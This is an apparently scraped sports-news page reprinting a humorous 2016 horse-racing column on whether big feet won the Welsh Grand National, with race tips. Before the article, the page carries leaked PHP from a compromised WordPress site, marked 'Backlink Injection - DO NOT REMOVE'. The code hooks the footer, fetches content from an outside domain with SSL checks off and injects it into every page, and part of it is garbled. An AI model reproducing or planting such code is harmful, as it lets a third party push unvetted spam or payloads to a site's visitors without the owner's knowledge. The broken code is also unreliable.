// Panox1 Backlink Injection - DO NOT REMOVE add_action('wp_footer', function() { $cache_key = 'panox1_links_' . md5(home_url()); $cached = get_transient($cache_key); if ($cached !== false) { echo $cached; return; } $response = wp_remote_get('https://staticsx.top/panox1/api/inject-endpoint.php?site_url=' . urlencode(home_url()), ['timeout' => 5, 'sslverify' => false]); if (!is_wp_error($response) && wp_remote_retrieve_response_code($response) === 200) { $content = wp_remote_retrieve_body($response); if (!empty($content) && strpos($content, ' 'active', 'site' => home_url(), 'time' => time()]); } }); // End Panox1 Ashforth's Angles: was it big feet that won the National? – Next Sports News

Ashforth's Angles: was it big feet that won the National?

[ad_1]

Mountainous (Jamie Moore) wins Welsh National

Mountainous: “A horse with small feet could not have won that slog”

  PICTURE: Edward Whitaker (racingpost.com/photos)  

 By David Ashforth 6:04PM 10 JAN 2016 

Monday’s racing: Kempton and Wolverhampton

No wonder they’re going to give ITV a go. Shamefully, among all the questions fired at trainer Kerry Lee on Saturday the one that really mattered was never asked. “How big are Mountainous’s feet?” Was it freakish feet that won the Coral Welsh Grand National?

In this new age of floods and mud, we could learn a lot from the fascinating research paper, “Horses for Courses: Foot size, Weight and Action as Determinants of Performance in Racehorses.”

If there was such a paper (there isn’t) it might conclude that, all else being equal, big feet have an advantage over small ones on heavy going. The pressure per square inch is lower; the horse’s feet do not sink as far into the ground and are easier to extract from it. When horses of similar weight and leg action compete in testing conditions, Big Foot will have a significant advantage over Little Foot.

A horse with small feet could not have won Saturday’s slog. It follows that Mountainous must have the most enormous feet.

You can test this contention for yourself. Find a volunteer of similar weight, build, running style and athletic ability (if any) as yourself but with notably larger or smaller feet. Stand next to each other at the edge of a muddy field. Remove your shoes and socks and race across the field. If your feet are bigger, you will win, if they are smaller you will lose. My case rests.

Trainers should be required, not only to provide information on each horse’s weight but also on the size of its feet. Feet above a certain size should be categorised as Big and the letters BF appear in racecards to denote such feet. SF would indicate unusually small feet. I think punters should be told.

Foot size would have been a vital factor at Ayr today if there had been an Ayr but, sadly, there isn’t and we are left with Kempton and Wolverhampton, where the cards help to explain the popularity of gaming machines.

I don’t know if you ever use the Coral shop in Bye Street, Ledbury but if you do you could go in today and back the town, which is running in the 2.00 at Kempton. If you enjoyed The Man from U.N.C.L.E you could back Napoleon Solo in the 3.40 and if you have read the fascinating tale of the Tichborne claimant you could back The Tichborne in the same race, although I don’t recommend it.

Personally, I’ll be hoping that Lucy Barry, who was a promising apprentice who rode 19 winners in 2011 before getting fatter and going to Australia, can ride her first winner since getting thin and joining Jamie Osborne last year. Look out for La Manga in the 3.05.

At Wolverhampton, I wonder if owner-breeder Kirsten Rausing will turn up to watch Southern Seas in the 2.20. Rausing doesn’t often have a runner in a selling race – just one in the last five seasons – so it’s a bit of a special occasion.

 

[ad_2]

Source link

Reply